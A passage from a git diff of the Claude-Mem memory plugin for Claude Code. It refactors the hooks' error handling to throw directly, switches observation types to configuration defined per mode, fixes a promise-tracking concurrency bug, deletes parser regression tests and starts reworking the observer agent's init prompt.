console.log(""); } @@ -334,7 +332,7 @@ export async function translateReadme( // Run with concurrency limit async function runWithConcurrency(items: T[], limit: number, fn: (item: T) => Promise): Promise { const results: TranslationResult[] = []; - const executing: Promise[] = []; + const executing = new Set>(); for (const item of items) { // Check budget before starting new translation @@ -355,15 +353,20 @@ export async function translateReadme( } }); - executing.push(p.then(() => { - executing.splice(executing.indexOf(p.then(() => {})), 1); - })); + // Create a wrapped promise that removes itself when done + const wrapped = p.finally(() => { + executing.delete(wrapped); + }); - if (executing.length >= limit) { + executing.add(wrapped); + + // Wait for a slot to open up if we're at the limit + if (executing.size >= limit) { await Promise.race(executing); } } + // Wait for all remaining translations to complete await Promise.all(executing); return results; } diff --git a/src/constants/observation-metadata.ts b/src/constants/observation-metadata.ts index 15db1c33..a1bf9b4d 100644 --- a/src/constants/observation-metadata.ts +++ b/src/constants/observation-metadata.ts @@ -1,68 +1,19 @@ /** * Observation metadata constants * Shared across hooks, worker service, and UI components + * + * Note: These are fallback defaults for the code mode. + * Actual observation types and concepts are defined per-mode in the modes/ directory. */ -/** - * Valid observation types - */ -export const OBSERVATION_TYPES = [ - 'bugfix', - 'feature', - 'refactor', - 'discovery', - 'decision', - 'change' -] as const; - -export type ObservationType = typeof OBSERVATION_TYPES[number]; - -/** - * Valid observation concepts - */ -export const OBSERVATION_CONCEPTS = [ - 'how-it-works', - 'why-it-exists', - 'what-changed', - 'problem-solution', - 'gotcha', - 'pattern', - 'trade-off' -] as const; - -export type ObservationConcept = typeof OBSERVATION_CONCEPTS[number]; - -/** - * Map observation types to emoji icons - */ -export const TYPE_ICON_MAP: Record = { - 'bugfix': '🔴', - 'feature': '🟣', - 'refactor': '🔄', - 'change': '✅', - 'discovery': '🔵', - 'decision': '⚖️', - 'session-request': '🎯' -}; - -/** - * Map observation types to work emoji (for token display) - */ -export const TYPE_WORK_EMOJI_MAP: Record = { - 'discovery': '🔍', // research/exploration - 'change': '🛠️', // building/modifying - 'feature': '🛠️', // building/modifying - 'bugfix': '🛠️', // building/modifying - 'refactor': '🛠️', // building/modifying - 'decision': '⚖️' // decision-making -}; - /** * Default observation types (comma-separated string for settings) + * Uses code mode defaults as fallback */ -export const DEFAULT_OBSERVATION_TYPES_STRING = OBSERVATION_TYPES.join(','); +export const DEFAULT_OBSERVATION_TYPES_STRING = 'bugfix,feature,refactor,discovery,decision,change'; /** * Default observation concepts (comma-separated string for settings) + * Uses code mode defaults as fallback */ -export const DEFAULT_OBSERVATION_CONCEPTS_STRING = OBSERVATION_CONCEPTS.join(','); +export const DEFAULT_OBSERVATION_CONCEPTS_STRING = 'how-it-works,why-it-exists,what-changed,problem-solution,gotcha,pattern,trade-off'; diff --git a/src/hooks/cleanup-hook.ts b/src/hooks/cleanup-hook.ts index cb7b46f8..3d86cee1 100644 --- a/src/hooks/cleanup-hook.ts +++ b/src/hooks/cleanup-hook.ts @@ -30,26 +30,19 @@ async function cleanupHook(input?: SessionEndInput): Promise { const port = getWorkerPort(); - try { - // Send to worker - worker handles finding session, marking complete, and stopping spinner - const response = await fetch(`http://127.0.0.1:${port}/api/sessions/complete`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: session_id, - reason - }), - signal: AbortSignal.timeout(HOOK_TIMEOUTS.DEFAULT) - }); + // Send to worker - worker handles finding session, marking complete, and stopping spinner + const response = await fetch(`http://127.0.0.1:${port}/api/sessions/complete`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + claudeSessionId: session_id, + reason + }), + signal: AbortSignal.timeout(HOOK_TIMEOUTS.DEFAULT) + }); - if (!response.ok) { - // Non-fatal - session might not exist - console.error('[cleanup-hook] Session not found or already cleaned up'); - } - } catch (error: any) { - // Worker might not be running - that's okay (non-critical) - // But we should still log it for visibility - console.error('[cleanup-hook] Failed to notify worker of session end:', error.message); + if (!response.ok) { + throw new Error(`Session cleanup failed: ${response.status}`); } console.log('{"continue": true, "suppressOutput": true}'); @@ -64,7 +57,12 @@ if (stdin.isTTY) { let input = ''; stdin.on('data', (chunk) => input += chunk); stdin.on('end', async () => { - const parsed = input ? JSON.parse(input) : undefined; + let parsed: SessionEndInput | undefined; + try { + parsed = input ? JSON.parse(input) : undefined; + } catch (error) { + throw new Error(`Failed to parse hook input: ${error instanceof Error ? error.message : String(error)}`); + } await cleanupHook(parsed); }); } diff --git a/src/hooks/context-hook.ts b/src/hooks/context-hook.ts index fdcffb3a..815028e2 100644 --- a/src/hooks/context-hook.ts +++ b/src/hooks/context-hook.ts @@ -9,8 +9,6 @@ import { stdin } from "process"; import { ensureWorkerRunning, getWorkerPort } from "../shared/worker-utils.js"; import { HOOK_TIMEOUTS } from "../shared/hook-constants.js"; -import { handleWorkerError } from "../shared/hook-error-handler.js"; -import { handleFetchError } from "./shared/error-handler.js"; import { getProjectName } from "../utils/project-name.js"; export interface SessionStartInput { @@ -30,24 +28,14 @@ async function contextHook(input?: SessionStartInput): Promise { const url = `http://127.0.0.1:${port}/api/context/inject?project=${encodeURIComponent(project)}`; - try { - const response = await fetch(url, { signal: AbortSignal.timeout(HOOK_TIMEOUTS.DEFAULT) }); + const response = await fetch(url, { signal: AbortSignal.timeout(HOOK_TIMEOUTS.DEFAULT) }); - if (!response.ok) { - const errorText = await response.text(); - handleFetchError(response, errorText, { - hookName: 'context', - operation: 'Context generation', - project, - port - }); - } - - const result = await response.text(); - return result.trim(); - } catch (error: any) { - handleWorkerError(error); + if (!response.ok) { + throw new Error(`Context generation failed: ${response.status}`); } + + const result = await response.text(); + return result.trim(); } // Entry Point - handle stdin/stdout @@ -62,7 +50,12 @@ if (stdin.isTTY || forceColors) { let input = ""; stdin.on("data", (chunk) => (input += chunk)); stdin.on("end", async () => { - const parsed = input.trim() ? JSON.parse(input) : undefined; + let parsed: SessionStartInput | undefined; + try { + parsed = input.trim() ? JSON.parse(input) : undefined; + } catch (error) { + throw new Error(`Failed to parse hook input: ${error instanceof Error ? error.message : String(error)}`); + } const text = await contextHook(parsed); console.log( diff --git a/src/hooks/new-hook.ts b/src/hooks/new-hook.ts index e4eee70b..0f991df6 100644 --- a/src/hooks/new-hook.ts +++ b/src/hooks/new-hook.ts @@ -1,8 +1,6 @@ import { stdin } from 'process'; import { STANDARD_HOOK_RESPONSE } from './hook-response.js'; import { ensureWorkerRunning, getWorkerPort } from '../shared/worker-utils.js'; -import { handleWorkerError } from '../shared/hook-error-handler.js'; -import { handleFetchError } from './shared/error-handler.js'; import { getProjectName } from '../utils/project-name.js'; export interface UserPromptSubmitInput { @@ -29,72 +27,48 @@ async function newHook(input?: UserPromptSubmitInput): Promise { const port = getWorkerPort(); // Initialize session via HTTP - handles DB operations and privacy checks - let sessionDbId: number; - let promptNumber: number; + const initResponse = await fetch(`http://127.0.0.1:${port}/api/sessions/init`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + claudeSessionId: session_id, + project, + prompt + }), + signal: AbortSignal.timeout(5000) + }); - try { - const initResponse = await fetch(`http://127.0.0.1:${port}/api/sessions/init`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: session_id, - project, - prompt - }), - signal: AbortSignal.timeout(5000) - }); - - if (!initResponse.ok) { - const errorText = await initResponse.text(); - handleFetchError(initResponse, errorText, { - hookName: 'new', - operation: 'Session initialization', - project, - port - }); - } - - const initResult = await initResponse.json(); - sessionDbId = initResult.sessionDbId; - promptNumber = initResult.promptNumber; - - // Check if prompt was entirely private (worker performs privacy check) - if (initResult.skipped && initResult.reason === 'private') { - console.error(`[new-hook] Session ${sessionDbId}, prompt #${promptNumber} (fully private - skipped)`); - console.log(STANDARD_HOOK_RESPONSE); - return; - } - - console.error(`[new-hook] Session ${sessionDbId}, prompt #${promptNumber}`); - } catch (error: any) { - handleWorkerError(error); + if (!initResponse.ok) { + throw new Error(`Session initialization failed: ${initResponse.status}`); } + const initResult = await initResponse.json(); + const sessionDbId = initResult.sessionDbId; + const promptNumber = initResult.promptNumber; + + // Check if prompt was entirely private (worker performs privacy check) + if (initResult.skipped && initResult.reason === 'private') { + console.error(`[new-hook] Session ${sessionDbId}, prompt #${promptNumber} (fully private - skipped)`); + console.log(STANDARD_HOOK_RESPONSE); + return; + } + + console.error(`[new-hook] Session ${sessionDbId}, prompt #${promptNumber}`); + // Strip leading slash from commands for memory agent // /review 101 → review 101 (more semantic for observations) const cleanedPrompt = prompt.startsWith('/') ? prompt.substring(1) : prompt; - try { - // Initialize SDK agent session via HTTP (starts the agent!) - const response = await fetch(`http://127.0.0.1:${port}/sessions/${sessionDbId}/init`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ userPrompt: cleanedPrompt, promptNumber }), - signal: AbortSignal.timeout(5000) - }); + // Initialize SDK agent session via HTTP (starts the agent!) + const response = await fetch(`http://127.0.0.1:${port}/sessions/${sessionDbId}/init`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ userPrompt: cleanedPrompt, promptNumber }), + signal: AbortSignal.timeout(5000) + }); - if (!response.ok) { - const errorText = await response.text(); - handleFetchError(response, errorText, { - hookName: 'new', - operation: 'SDK agent start', - project, - port, - sessionId: String(sessionDbId) - }); - } - } catch (error: any) { - handleWorkerError(error); + if (!response.ok) { + throw new Error(`SDK agent start failed: ${response.status}`); } console.log(STANDARD_HOOK_RESPONSE); @@ -104,6 +78,11 @@ async function newHook(input?: UserPromptSubmitInput): Promise { let input = ''; stdin.on('data', (chunk) => input += chunk); stdin.on('end', async () => { - const parsed = input ? JSON.parse(input) : undefined; + let parsed: UserPromptSubmitInput | undefined; + try { + parsed = input ? JSON.parse(input) : undefined; + } catch (error) { + throw new Error(`Failed to parse hook input: ${error instanceof Error ? error.message : String(error)}`); + } await newHook(parsed); }); diff --git a/src/hooks/save-hook.ts b/src/hooks/save-hook.ts index 07ad33ff..75bdf3bb 100644 --- a/src/hooks/save-hook.ts +++ b/src/hooks/save-hook.ts @@ -11,8 +11,6 @@ import { STANDARD_HOOK_RESPONSE } from './hook-response.js'; import { logger } from '../utils/logger.js'; import { ensureWorkerRunning, getWorkerPort } from '../shared/worker-utils.js'; import { HOOK_TIMEOUTS } from '../shared/hook-constants.js'; -import { handleWorkerError } from '../shared/hook-error-handler.js'; -import { handleFetchError } from './shared/error-handler.js'; export interface PostToolUseInput { session_id: string; @@ -48,37 +46,26 @@ async function saveHook(input?: PostToolUseInput): Promise { throw new Error(`Missing cwd in PostToolUse hook input for session ${session_id}, tool ${tool_name}`); } - try { - // Send to worker - worker handles privacy check and database operations - const response = await fetch(`http://127.0.0.1:${port}/api/sessions/observations`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: session_id, - tool_name, - tool_input, - tool_response, - cwd - }), - signal: AbortSignal.timeout(HOOK_TIMEOUTS.DEFAULT) - }); + // Send to worker - worker handles privacy check and database operations + const response = await fetch(`http://127.0.0.1:${port}/api/sessions/observations`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + claudeSessionId: session_id, + tool_name, + tool_input, + tool_response, + cwd + }), + signal: AbortSignal.timeout(HOOK_TIMEOUTS.DEFAULT) + }); - if (!response.ok) { - const errorText = await response.text(); - handleFetchError(response, errorText, { - hookName: 'save', - operation: 'Observation storage', - toolName: tool_name, - sessionId: session_id, - port - }); - } - - logger.debug('HOOK', 'Observation sent successfully', { toolName: tool_name }); - } catch (error: any) { - handleWorkerError(error); + if (!response.ok) { + throw new Error(`Observation storage failed: ${response.status}`); } + logger.debug('HOOK', 'Observation sent successfully', { toolName: tool_name }); + console.log(STANDARD_HOOK_RESPONSE); } @@ -86,6 +73,11 @@ async function saveHook(input?: PostToolUseInput): Promise { let input = ''; stdin.on('data', (chunk) => input += chunk); stdin.on('end', async () => { - const parsed = input ? JSON.parse(input) : undefined; + let parsed: PostToolUseInput | undefined; + try { + parsed = input ? JSON.parse(input) : undefined; + } catch (error) { + throw new Error(`Failed to parse hook input: ${error instanceof Error ? error.message : String(error)}`); + } await saveHook(parsed); }); diff --git a/src/hooks/shared/error-handler.ts b/src/hooks/shared/error-handler.ts deleted file mode 100644 index 7bb12b8f..00000000 --- a/src/hooks/shared/error-handler.ts +++ /dev/null @@ -1,37 +0,0 @@ -import { logger } from '../../utils/logger.js'; -import { getWorkerRestartInstructions } from '../../utils/error-messages.js'; - -export interface HookErrorContext { - hookName: string; - operation: string; - project?: string; - sessionId?: string; - toolName?: string; - port?: number; -} - -/** - * Standardized error handler for hook fetch failures. - * - * This function: - * 1. Logs the error with full context to worker logs - * 2. Throws a user-facing error with restart instructions - * - * Use this for all fetch errors in hooks to ensure consistent error handling. - */ -export function handleFetchError( - response: Response, - errorText: string, - context: HookErrorContext -): never { - logger.error('HOOK', `${context.operation} failed`, { - status: response.status, - ...context - }, errorText); - - const userMessage = context.toolName - ? `Failed ${context.operation} for ${context.toolName}: ${getWorkerRestartInstructions()}` - : `${context.operation} failed: ${getWorkerRestartInstructions()}`; - - throw new Error(userMessage); -} diff --git a/src/hooks/summary-hook.ts b/src/hooks/summary-hook.ts index c1944684..e7174a00 100644 --- a/src/hooks/summary-hook.ts +++ b/src/hooks/summary-hook.ts @@ -14,8 +14,6 @@ import { STANDARD_HOOK_RESPONSE } from './hook-response.js'; import { logger } from '../utils/logger.js'; import { ensureWorkerRunning, getWorkerPort } from '../shared/worker-utils.js'; import { HOOK_TIMEOUTS } from '../shared/hook-constants.js'; -import { handleWorkerError } from '../shared/hook-error-handler.js'; -import { handleFetchError } from './shared/error-handler.js'; import { extractLastMessage } from '../shared/transcript-parser.js'; export interface StopInput { @@ -54,56 +52,23 @@ async function summaryHook(input?: StopInput): Promise { hasLastAssistantMessage: !!lastAssistantMessage }); - let summaryError: Error | null = null; + // Send to worker - worker handles privacy check and database operations + const response = await fetch(`http://127.0.0.1:${port}/api/sessions/summarize`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + claudeSessionId: session_id, + last_user_message: lastUserMessage, + last_assistant_message: lastAssistantMessage + }), + signal: AbortSignal.timeout(HOOK_TIMEOUTS.DEFAULT) + }); - try { - // Send to worker - worker handles privacy check and database operations - const response = await fetch(`http://127.0.0.1:${port}/api/sessions/summarize`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: session_id, - last_user_message: lastUserMessage, - last_assistant_message: lastAssistantMessage - }), - signal: AbortSignal.timeout(HOOK_TIMEOUTS.DEFAULT) - }); - - if (!response.ok) { - const errorText = await response.text(); - handleFetchError(response, errorText, { - hookName: 'summary', - operation: 'Summary generation', - sessionId: session_id, - port - }); - } - - logger.debug('HOOK', 'Summary request sent successfully'); - } catch (error: any) { - summaryError = error; - handleWorkerError(error); - } finally { - // Stop processing spinner (non-critical operation, errors are logged but don't block) - try { - const spinnerResponse = await fetch(`http://127.0.0.1:${port}/api/processing`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ isProcessing: false }), - signal: AbortSignal.timeout(2000) - }); - if (!spinnerResponse.ok) { - logger.warn('HOOK', 'Failed to stop spinner', { status: spinnerResponse.status }); - } - } catch (error: any) { - logger.warn('HOOK', 'Could not stop spinner', { error: error.message }); - } + if (!response.ok) { + throw new Error(`Summary generation failed: ${response.status}`); } - // Re-throw summary error after cleanup to ensure it's not masked by finally block - if (summaryError) { - throw summaryError; - } + logger.debug('HOOK', 'Summary request sent successfully'); console.log(STANDARD_HOOK_RESPONSE); } @@ -112,6 +77,11 @@ async function summaryHook(input?: StopInput): Promise { let input = ''; stdin.on('data', (chunk) => input += chunk); stdin.on('end', async () => { - const parsed = input ? JSON.parse(input) : undefined; + let parsed: StopInput | undefined; + try { + parsed = input ? JSON.parse(input) : undefined; + } catch (error) { + throw new Error(`Failed to parse hook input: ${error instanceof Error ? error.message : String(error)}`); + } await summaryHook(parsed); }); diff --git a/src/hooks/user-message-hook.ts b/src/hooks/user-message-hook.ts index d6b2e571..1826db8e 100644 --- a/src/hooks/user-message-hook.ts +++ b/src/hooks/user-message-hook.ts @@ -9,57 +9,32 @@ import { basename } from "path"; import { ensureWorkerRunning, getWorkerPort } from "../shared/worker-utils.js"; import { HOOK_EXIT_CODES } from "../shared/hook-constants.js"; -import { getWorkerRestartInstructions } from "../utils/error-messages.js"; -try { - // Ensure worker is running - await ensureWorkerRunning(); +// Ensure worker is running +await ensureWorkerRunning(); - const port = getWorkerPort(); - const project = basename(process.cwd()); +const port = getWorkerPort(); +const project = basename(process.cwd()); - // Fetch formatted context directly from worker API - const response = await fetch( - `http://127.0.0.1:${port}/api/context/inject?project=${encodeURIComponent(project)}&colors=true`, - { method: 'GET', signal: AbortSignal.timeout(5000) } - ); +// Fetch formatted context directly from worker API +const response = await fetch( + `http://127.0.0.1:${port}/api/context/inject?project=${encodeURIComponent(project)}&colors=true`, + { method: 'GET', signal: AbortSignal.timeout(5000) } +); - if (!response.ok) { - throw new Error(getWorkerRestartInstructions({ includeSkillFallback: true })); - } - - const output = await response.text(); - - console.error( - "\n\n📝 Claude-Mem Context Loaded\n" + - " ℹ️ Note: This appears as stderr but is informational only\n\n" + - output + - "\n\n💡 New! Wrap all or part of any message with ... to prevent storing sensitive information in your observation history.\n" + - "\n💬 Community https://discord.gg/J4wttp9vDu" + - `\n📺 Watch live in browser http://localhost:${port}/\n` - ); - -} catch (error) { - // Context not available yet - likely first run or worker starting up - console.error(` ---- -🎉 Note: This appears under Plugin Hook Error, but it's not an error. That's the only option for - user messages in Claude Code UI until a better method is provided. ---- - -⚠️ Claude-Mem: First-Time Setup - -Dependencies are installing in the background. This only happens once. - -💡 TIPS: - • Memories will start generating while you work - • Use /init to write or update your CLAUDE.md for better project context - • Try /clear after one session to see what context looks like - -Thank you for installing Claude-Mem! - -This message was not added to your startup context, so you can continue working as normal. -`); +if (!response.ok) { + throw new Error(`Failed to fetch context: ${response.status}`); } +const output = await response.text(); + +console.error( + "\n\n📝 Claude-Mem Context Loaded\n" + + " ℹ️ Note: This appears as stderr but is informational only\n\n" + + output + + "\n\n💡 New! Wrap all or part of any message with ... to prevent storing sensitive information in your observation history.\n" + + "\n💬 Community https://discord.gg/J4wttp9vDu" + + `\n📺 Watch live in browser http://localhost:${port}/\n` +); + process.exit(HOOK_EXIT_CODES.USER_MESSAGE_ONLY); \ No newline at end of file diff --git a/src/sdk/parser.test.ts b/src/sdk/parser.test.ts deleted file mode 100644 index e86f12a2..00000000 --- a/src/sdk/parser.test.ts +++ /dev/null @@ -1,403 +0,0 @@ -/** - * Parser Regression Tests - * Ensures v4.2.5 and v4.2.6 bugfixes remain stable - */ - -import { parseObservations, parseSummary } from './parser.js'; - -// ANSI color codes for output -const GREEN = '\x1b[32m'; -const RED = '\x1b[31m'; -const YELLOW = '\x1b[33m'; -const RESET = '\x1b[0m'; - -let testsRun = 0; -let testsPassed = 0; -let testsFailed = 0; - -function assert(condition: boolean, testName: string, errorMsg?: string): void { - testsRun++; - if (condition) { - testsPassed++; - console.log(`${GREEN}✓${RESET} ${testName}`); - } else { - testsFailed++; - console.log(`${RED}✗${RESET} ${testName}`); - if (errorMsg) { - console.log(` ${RED}${errorMsg}${RESET}`); - } - } -} - -function assertEqual(actual: T, expected: T, testName: string): void { - const isEqual = JSON.stringify(actual) === JSON.stringify(expected); - if (!isEqual) { - assert(false, testName, `Expected: ${JSON.stringify(expected)}, Got: ${JSON.stringify(actual)}`); - } else { - assert(true, testName); - } -} - -console.log('\n' + YELLOW + '='.repeat(60) + RESET); -console.log(YELLOW + 'Parser Regression Tests (v4.2.5 & v4.2.6)' + RESET); -console.log(YELLOW + '='.repeat(60) + RESET + '\n'); - -// ============================================================================ -// v4.2.6: Observation Parsing - NEVER Skip Observations -// ============================================================================ - -console.log(YELLOW + '\nv4.2.6: Observation Validation Fixes' + RESET); -console.log('─'.repeat(60) + '\n'); - -// Test 1: Observation with missing title should be saved -const missingTitleXml = ` - - feature - Added new feature - Implemented the feature successfully - - Created new file - - - authentication - - - - src/app.ts - - -`; - -const missingTitleResult = parseObservations(missingTitleXml); -assert(missingTitleResult.length === 1, 'Should parse observation with missing title'); -assert(missingTitleResult[0].title === null, 'Missing title should be null'); -assertEqual(missingTitleResult[0].type, 'feature', 'Should preserve type when title missing'); - -// Test 2: Observation with missing subtitle should be saved -const missingSubtitleXml = ` - - bugfix - Fixed critical bug - Resolved the issue - - - - - -`; - -const missingSubtitleResult = parseObservations(missingSubtitleXml); -assert(missingSubtitleResult.length === 1, 'Should parse observation with missing subtitle'); -assert(missingSubtitleResult[0].subtitle === null, 'Missing subtitle should be null'); -assertEqual(missingSubtitleResult[0].title, 'Fixed critical bug', 'Should preserve title when subtitle missing'); - -// Test 3: Observation with missing narrative should be saved -const missingNarrativeXml = ` - - refactor - Code cleanup - Improved structure - - Removed dead code - - - - - -`; - -const missingNarrativeResult = parseObservations(missingNarrativeXml); -assert(missingNarrativeResult.length === 1, 'Should parse observation with missing narrative'); -assert(missingNarrativeResult[0].narrative === null, 'Missing narrative should be null'); -assertEqual(missingNarrativeResult[0].facts, ['Removed dead code'], 'Should preserve facts when narrative missing'); - -// Test 4: Observation with ALL fields missing (except type) should be saved -const minimalObservationXml = ` - - change - - - - - - - - -`; - -const minimalResult = parseObservations(minimalObservationXml); -assert(minimalResult.length === 1, 'Should parse minimal observation with only type'); -assertEqual(minimalResult[0].type, 'change', 'Should preserve type for minimal observation'); -assert(minimalResult[0].title === null, 'Empty title should be null'); -assert(minimalResult[0].subtitle === null, 'Empty subtitle should be null'); -assert(minimalResult[0].narrative === null, 'Empty narrative should be null'); - -// Test 5: Observation with missing type should use "change" as fallback -const missingTypeXml = ` - - Something happened - Details here - More info - - - - - -`; - -const missingTypeResult = parseObservations(missingTypeXml); -assert(missingTypeResult.length === 1, 'Should parse observation with missing type'); -assertEqual(missingTypeResult[0].type, 'change', 'Missing type should default to "change"'); - -// Test 6: Observation with invalid type should use "change" as fallback -const invalidTypeXml = ` - - invalid_type_here - Something happened - Details here - More info - - - - - -`; - -const invalidTypeResult = parseObservations(invalidTypeXml); -assert(invalidTypeResult.length === 1, 'Should parse observation with invalid type'); -assertEqual(invalidTypeResult[0].type, 'change', 'Invalid type should default to "change"'); - -// Test 7: Multiple observations with mixed completeness should all be saved -const mixedObservationsXml = ` - - feature - Full observation - Complete - All fields present - Fact 1 - concept1 - - - - - bugfix - Only subtitle and type - - - - - - - Only title, no type - - - - - -`; - -const mixedResult = parseObservations(mixedObservationsXml); -assertEqual(mixedResult.length, 3, 'Should parse all three observations regardless of completeness'); -assertEqual(mixedResult[0].type, 'feature', 'First observation should have correct type'); -assertEqual(mixedResult[1].type, 'bugfix', 'Second observation should have correct type'); -assertEqual(mixedResult[2].type, 'change', 'Third observation should default to "change"'); - -// ============================================================================ -// v4.2.5: Summary Parsing - NEVER Skip Summaries -// ============================================================================ - -console.log(YELLOW + '\nv4.2.5: Summary Validation Fixes' + RESET); -console.log('─'.repeat(60) + '\n'); - -// Test 8: Summary with missing request field should be saved -const missingRequestXml = ` - - Looked into the codebase - Found the issue - Fixed the bug - Deploy to production - -`; - -const missingRequestResult = parseSummary(missingRequestXml); -assert(missingRequestResult !== null, 'Should parse summary with missing request'); -assert(missingRequestResult!.request === null, 'Missing request should be null'); -assertEqual(missingRequestResult!.investigated, 'Looked into the codebase', 'Should preserve other fields'); - -// Test 9: Summary with missing investigated field should be saved -const missingInvestigatedXml = ` - - Fix the bug - Root cause identified - Applied the fix - Monitor production - -`; - -const missingInvestigatedResult = parseSummary(missingInvestigatedXml); -assert(missingInvestigatedResult !== null, 'Should parse summary with missing investigated'); -assert(missingInvestigatedResult!.investigated === null, 'Missing investigated should be null'); - -// Test 10: Summary with missing learned field should be saved -const missingLearnedXml = ` - - Add new feature - Reviewed the requirements - Implemented the feature - Write tests - -`; - -const missingLearnedResult = parseSummary(missingLearnedXml); -assert(missingLearnedResult !== null, 'Should parse summary with missing learned'); -assert(missingLearnedResult!.learned === null, 'Missing learned should be null'); - -// Test 11: Summary with missing completed field should be saved -const missingCompletedXml = ` - - Refactor code - Analyzed the structure - Found improvement opportunities - Continue refactoring - -`; - -const missingCompletedResult = parseSummary(missingCompletedXml); -assert(missingCompletedResult !== null, 'Should parse summary with missing completed'); -assert(missingCompletedResult!.completed === null, 'Missing completed should be null'); - -// Test 12: Summary with missing next_steps field should be saved -const missingNextStepsXml = ` - - Review code - Examined all files - Code quality is good - Review complete - -`; - -const missingNextStepsResult = parseSummary(missingNextStepsXml); -assert(missingNextStepsResult !== null, 'Should parse summary with missing next_steps'); -assert(missingNextStepsResult!.next_steps === null, 'Missing next_steps should be null'); - -// Test 13: Summary with only notes field should be saved -const onlyNotesXml = ` - - Some random notes - -`; - -const onlyNotesResult = parseSummary(onlyNotesXml); -assert(onlyNotesResult !== null, 'Should parse summary with only notes field'); -assertEqual(onlyNotesResult!.notes, 'Some random notes', 'Should preserve notes field'); - -// Test 14: Completely empty summary should be saved -const emptySummaryXml = ` - - - - - - - -`; - -const emptySummaryResult = parseSummary(emptySummaryXml); -assert(emptySummaryResult !== null, 'Should parse completely empty summary'); -assert(emptySummaryResult!.request === null, 'Empty request should be null'); -assert(emptySummaryResult!.investigated === null, 'Empty investigated should be null'); - -// Test 15: Summary with skip_summary should return null (valid use case) -const skipSummaryXml = ` - -`; - -const skipSummaryResult = parseSummary(skipSummaryXml); -assert(skipSummaryResult === null, 'Should return null for skip_summary directive'); - -// ============================================================================ -// Edge Cases & Data Integrity -// ============================================================================ - -console.log(YELLOW + '\nEdge Cases & Data Integrity' + RESET); -console.log('─'.repeat(60) + '\n'); - -// Test 16: Observation with whitespace-only fields should be null -const whitespaceObservationXml = ` - - change - - - - - - - - - - -`; - -const whitespaceResult = parseObservations(whitespaceObservationXml); -assert(whitespaceResult.length === 1, 'Should parse observation with whitespace fields'); -assert(whitespaceResult[0].title === null || whitespaceResult[0].title!.trim() === '', 'Whitespace title should be null or empty'); - -// Test 17: Observation with concepts including type should filter out type -const conceptsWithTypeXml = ` - - feature - New feature - Details - Description - - - feature - authentication - - - - -`; - -const conceptsWithTypeResult = parseObservations(conceptsWithTypeXml); -assert(conceptsWithTypeResult.length === 1, 'Should parse observation with type in concepts'); -assertEqual(conceptsWithTypeResult[0].concepts, ['authentication'], 'Should filter out type from concepts'); - -// Test 18: Observation with all valid types -const validTypes = ['decision', 'bugfix', 'feature', 'refactor', 'discovery', 'change']; -validTypes.forEach(type => { - const typeXml = ` - - ${type} - Test - Test - Test - - - - - -`; - const result = parseObservations(typeXml); - assertEqual(result[0].type, type, `Should accept valid type: ${type}`); -}); - -// ============================================================================ -// Results Summary -// ============================================================================ - -console.log('\n' + YELLOW + '='.repeat(60) + RESET); -console.log(YELLOW + 'Test Results Summary' + RESET); -console.log(YELLOW + '='.repeat(60) + RESET + '\n'); - -console.log(`Total Tests: ${testsRun}`); -console.log(`${GREEN}Passed: ${testsPassed}${RESET}`); -console.log(`${RED}Failed: ${testsFailed}${RESET}`); - -if (testsFailed > 0) { - console.log(`\n${RED}❌ TESTS FAILED${RESET}\n`); - process.exit(1); -} else { - console.log(`\n${GREEN}✅ ALL TESTS PASSED${RESET}\n`); - process.exit(0); -} diff --git a/src/sdk/parser.ts b/src/sdk/parser.ts index 55900ed7..b02c19e3 100644 --- a/src/sdk/parser.ts +++ b/src/sdk/parser.ts @@ -4,6 +4,7 @@ */ import { logger } from '../utils/logger.js'; +import { ModeManager } from '../services/domain/ModeManager.js'; export interface ParsedObservation { type: string; @@ -51,19 +52,21 @@ export function parseObservations(text: string, correlationId?: string): ParsedO // NOTE FROM THEDOTMACK: ALWAYS save observations - never skip. 10/24/2025 // All fields except type are nullable in schema - // If type is missing or invalid, use "change" as catch-all fallback + // If type is missing or invalid, use first type from mode as fallback - // Determine final type - let finalType = 'change'; // Default catch-all + // Determine final type using active mode's valid types + const mode = ModeManager.getInstance().getActiveMode(); + const validTypes = mode.observation_types.map(t => t.id); + const fallbackType = validTypes[0]; // First type in mode's list is the fallback + let finalType = fallbackType; if (type) { - const validTypes = ['bugfix', 'feature', 'refactor', 'change', 'discovery', 'decision']; if (validTypes.includes(type.trim())) { finalType = type.trim(); } else { - logger.warn('PARSER', `Invalid observation type: ${type}, using "change"`, { correlationId }); + logger.warn('PARSER', `Invalid observation type: ${type}, using "${fallbackType}"`, { correlationId }); } } else { - logger.warn('PARSER', 'Observation missing type field, using "change"', { correlationId }); + logger.warn('PARSER', `Observation missing type field, using "${fallbackType}"`, { correlationId }); } // All other fields are optional - save whatever we have diff --git a/src/sdk/prompts.ts b/src/sdk/prompts.ts index 07ca2b5c..10579149 100644 --- a/src/sdk/prompts.ts +++ b/src/sdk/prompts.ts @@ -4,6 +4,7 @@ */ import { logger } from '../utils/logger.js'; +import type { ModeConfig } from '../services/domain/types.js'; export interface Observation { id: number; @@ -26,123 +27,63 @@ export interface SDKSession { /** * Build initial prompt to initialize the SDK agent */ -export function buildInitPrompt(project: string, sessionId: string, userPrompt: string): string { - return `You are a Claude-Mem, a specialized observer tool for creating searchable memory FOR FUTURE SESSIONS. - -CRITICAL: Record what was LEARNED/BUILT/FIXED/DEPLOYED/CONFIGURED, not what you (the observer) are doing. - -You do not have access to tools. All information you need is provided in messages. Create observations from what you observe - no investigation needed. +export function buildInitPrompt(project: string, sessionId: string, userPrompt: string, mode: ModeConfig): string { + return `${mode.prompts.system_identity} ${userPrompt} ${new Date().toISOString().split('T')[0]} -Your job is to monitor a different Claude Code session happening RIGHT NOW, with the goal of creating observations and progress summaries as the work is being done 